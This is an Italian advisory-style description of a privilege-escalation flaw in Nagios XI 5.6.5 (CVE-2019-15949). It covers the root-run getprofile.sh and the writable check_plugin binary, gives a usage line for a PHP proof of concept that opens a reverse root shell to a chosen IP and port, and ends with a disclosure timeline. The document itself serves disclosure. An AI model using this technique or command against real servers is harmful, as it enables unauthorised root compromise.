
POC che sfrutta una vulnerabilità in Nagios XI (5.6.5) per generare una shell root
Esiste una vulnerabilità in Nagios XI <= 5.6.5 che consente a un attaccante di sfruttare un RCE per elevare i privilegi a root.
L'exploit richiede l'accesso al server come utente 'nagios', oppure l'accesso al CCM tramite interfaccia web con permessi per gestire i plugin.
Lo script getprofile.sh, richiamato scaricando un profilo di sistema (profile.php?cmd=download), viene eseguito come root tramite una voce sudo senza password; lo script esegue l'eseguibile 'check_plugin' che è di proprietà dell'utente nagios.
Un utente autenticato a Nagios XI con permessi per modificare i plugin, oppure l'utente 'nagios' sul server, può modificare l'eseguibile 'check_plugin' e inserire comandi malevoli eseguibili come root.
È stato sviluppato un PoC in PHP che carica un payload risultante in una shell root inversa.
Utilizzo:
php privesc.php --host=example.com --ssl=[true/false] --user=username --pass=password --reverseip=ip --reverseport=port
Segnalato a Nagios il: 29 luglio 2019
Confermato da Nagios il: 29 luglio 2019
Corretto nella versione: 5.6.6 il: 20 agosto 2019
CVE assegnato il: 6 settembre 2019 (CVE-2019-15949 https://nvd.nist.gov/vuln/detail/CVE-2019-15949)
